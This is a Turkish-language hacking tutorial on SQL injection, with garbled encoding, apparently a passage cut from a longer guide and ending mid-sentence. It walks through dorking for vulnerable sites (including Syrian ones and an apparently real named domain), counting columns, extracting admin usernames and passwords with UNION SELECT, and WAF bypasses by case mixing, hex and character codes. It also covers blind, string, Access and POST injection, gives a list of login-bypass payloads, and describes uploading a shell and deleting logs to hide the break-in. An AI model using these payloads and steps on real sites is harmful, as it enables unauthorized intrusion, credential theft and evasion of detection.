Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz

6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak

Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım

a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)

Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde

Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli

wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor

Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım

SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım

Oumlrnek bir SQL İnjection hatası

Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz

b-) Search Kutularında SQL İnject Accedilığı Aramak

Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız

Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz

c-) Kayıt Formlarında SQL İnject Accedilığı Aramak

Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz

Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız

d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

13-Saldırı Anı7(İzlerimizi Silmek)

Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor

14-Sonuccedil

Neler yaptık

Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor

15- Kaccedil Tuumlr SQL İnjection Vardır

a-) MySql İnjection

Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız

SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut

Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım

Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı

Bu accedilığın kullanımına geccedilelim

Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam

Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22

Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun

Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş

Şimdi kolonları yansıtalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz

Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz

Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--

Sorgusunun ardından ekrana tablersquolar yansıdı

Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )

Şimdi admin tablosundaki kolonlara bakalım

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

Ekrana userpassmail yansıdığını farz edelim

httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--

User admin

Pass 123456

Email adminparoswinescom

b-) Ms Access SQL İnjection

Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml

SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr

Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo

Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir

Microsoft JET Database Engine error rsquo80040e14rsquo

Syntax error in string in query expression rsquoid = 10rsquo

sayfaasp line 7

Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz

wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti

wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

